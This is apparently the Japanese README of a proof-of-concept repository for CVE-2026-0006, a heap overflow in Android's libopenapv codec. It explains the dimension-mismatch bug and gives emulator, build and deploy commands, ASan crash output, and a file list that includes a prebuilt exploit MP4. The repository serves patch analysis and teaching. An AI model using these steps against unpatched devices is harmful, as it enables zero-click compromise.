
CVE-2026-0006: libopenapv (Android APV codec) のヒープバッファオーバーフロー PoC - CVSS 9.8
CVSS 9.8 Critical | 実際に悪用済み | 2026年3月パッチ適用
注記: この脆弱性は私たちが発見したものではありません。CVE-2026-0006の発見と責任ある報告のすべての功績は、元の研究者に帰属します。このリポジトリには、セキュリティコミュニティがこのバグクラスと悪用手法を理解するのに役立つよう、私たちが独立して行ったパッチ解析、再現、教育用解説が含まれています。

CVE-2026-0006 は、libopenapv におけるヒープバッファオーバーフローです。libopenapv は Samsung がオープンソース化した APV (Advanced Professional Video) コーデックであり、Android 16 に Mainline モジュールとして統合されています。
この脆弱性により、細工された MP4 ファイルを介してゼロクリックでのリモートコード実行が可能になります。Android のメディアフレームワークはサムネイルやプレビューのために動画ファイルを自動的に処理するため、ユーザーの操作は不要です。
oapvd_info() と oapvd_decode() は、フレームの寸法を異なる PBU (Payload Byte Unit) から読み取ります。攻撃者は、小さい寸法 (16x16) を主張する AU_INFO PBU (タイプ 65) を注入し、実際の FRAME PBU は大きい寸法 (64x64) をエンコードします。フレームワークは oapvd_info() の出力に基づいてバッファを割り当て、その後 oapvd_decode() は FRAME PBU の寸法でデコード済みピクセルを書き込むため、14,848 バイトのバッファオーバーフローが発生します。
セキュリティパッチレベルが2026年3月より前の Android 16 エミュレータが必要です(古い Android バージョンには APV デコーダはありません)。
# Install the required system image (Android 16 / API 36, ARM64)
sdkmanager "system-images;android-36.1;google_apis;arm64-v8a"
# Create the AVD
avdmanager create avd \
-n android16_apv \
-k "system-images;android-36.1;google_apis;arm64-v8a" \
-d pixel_6
# Launch the emulator
emulator -avd android16_apv -no-snapshot-load
# Check that the APV codec module exists
adb shell ls -la /apex/com.android.media.swcodec/lib64/libcodec2_soft_apvdec.so
# Check security patch level (must be before 2026-03-01)
adb shell getprop ro.build.version.security_patch
セキュリティパッチが 2026-03-01 以降の場合、脆弱性は修正されており、エクスプロイトは機能しません。以前のシステムイメージまたはスナップショットを使用してください。
# Requires: adb connected to Android 16 device/emulator (pre-March 2026 patch)
./deploy_exploit_mp4.sh
これによりエクスプロイト MP4 が生成され、デバイスにプッシュされ、開封され、クラッシュ出力がキャプチャされます。最初の試行でクラッシュが発生しない場合もあります。スクリプトは最大3回まで自動的に再試行します。
# Requires: valid.apv and apv-mp4/valid_ffmpeg.mp4 (both included)
python3 generate_overflow_mp4.py
# Requires: Android NDK r29+, libopenapv v0.1.11.3 source
NDK=$HOME/Library/Android/sdk/ndk/29.0.13599879
CC=$NDK/toolchains/llvm/prebuilt/darwin-x86_64/bin/aarch64-linux-android31-clang
ASAN_RT=$NDK/toolchains/llvm/prebuilt/darwin-x86_64/lib/clang/20/lib/linux/libclang_rt.asan-aarch64-android.so
# 1. Build libopenapv with ASan for ARM64
git clone https://github.com/AcademySoftwareFoundation/openapv.git
cd openapv && git checkout v0.1.11.1
mkdir build_arm64_asan && cd build_arm64_asan
cmake .. -DCMAKE_TOOLCHAIN_FILE=$NDK/build/cmake/android.toolchain.cmake \
-DANDROID_ABI=arm64-v8a -DANDROID_PLATFORM=android-31 \
-DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_C_FLAGS="-g -O0 -fsanitize=address -fno-omit-frame-pointer"
make -j$(nproc)
# 2. Cross-compile the MP4 ASan PoC
$CC -g -O0 -fsanitize=address -fno-omit-frame-pointer \
-I../inc -I./include \
poc_mp4_asan.c ./lib/liboapv.a -lm -o poc_mp4_asan
# 3. Push and run on device
adb push poc_mp4_asan $ASAN_RT /data/local/tmp/
adb push apv-mp4/overflow_auinfo.mp4 /data/local/tmp/
adb shell "LD_LIBRARY_PATH=/data/local/tmp \
ASAN_OPTIONS=detect_leaks=0 \
/data/local/tmp/poc_mp4_asan /data/local/tmp/overflow_auinfo.mp4"
==17610==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x006f770f0580
WRITE of size 2 at 0x006f770f0580 thread T0
0x006f770f0580 is located 0 bytes after 512-byte region
[0x006f770f0380,0x006f770f0580)
fb6a5eab): ssize > 4 の検証と 'aPv1' 署名チェックoapv_param.c モジュールこの脆弱性は、元のセキュリティ研究者によって発見され、責任を持って報告されました。 私たちはこの CVE を発見したわけではありません。発見のすべての功績は彼らに帰属します。
このリポジトリは、Mobile Hacking Lab による独立したパッチ解析と再現をまとめたものです。実際の脆弱性から学ぶことでセキュリティコミュニティの理解を深めるための教育目的で作成されました。
この研究は、脆弱性のあるライブラリの隔離されたテストビルドに対して教育目的で実施されました。すべてのテストは、オープンソースの libopenapv プロジェクトのローカルビルドバイナリに対して行われました。本番デバイスやシステムは対象とされていません。
| ファイル | 説明 |
|---|
generate_overflow_mp4.py | AU_INFO の寸法不一致を利用したエクスプロイト MP4 を生成 |
deploy_exploit_mp4.sh | ワンショット: 生成、Android デバイスへプッシュ、開封、クラッシュ取得 |
poc_mp4_asan.c | C2SoftApvDec デコードパスを模倣した ASan PoC |
poc_android_oob_write.c | ガード領域オーバーフロー検出付きのスタンドアロン ARM64 PoC |
valid.apv | 有効な 337 バイトの APV ビットストリーム (64x64, YUV422, 10-bit) |
apv-mp4/valid_ffmpeg.mp4 | ベースライン MP4 コンテナ (ffmpeg で生成) |
apv-mp4/overflow_auinfo.mp4 | プリビルドのエクスプロイト MP4 (1,178 バイト) |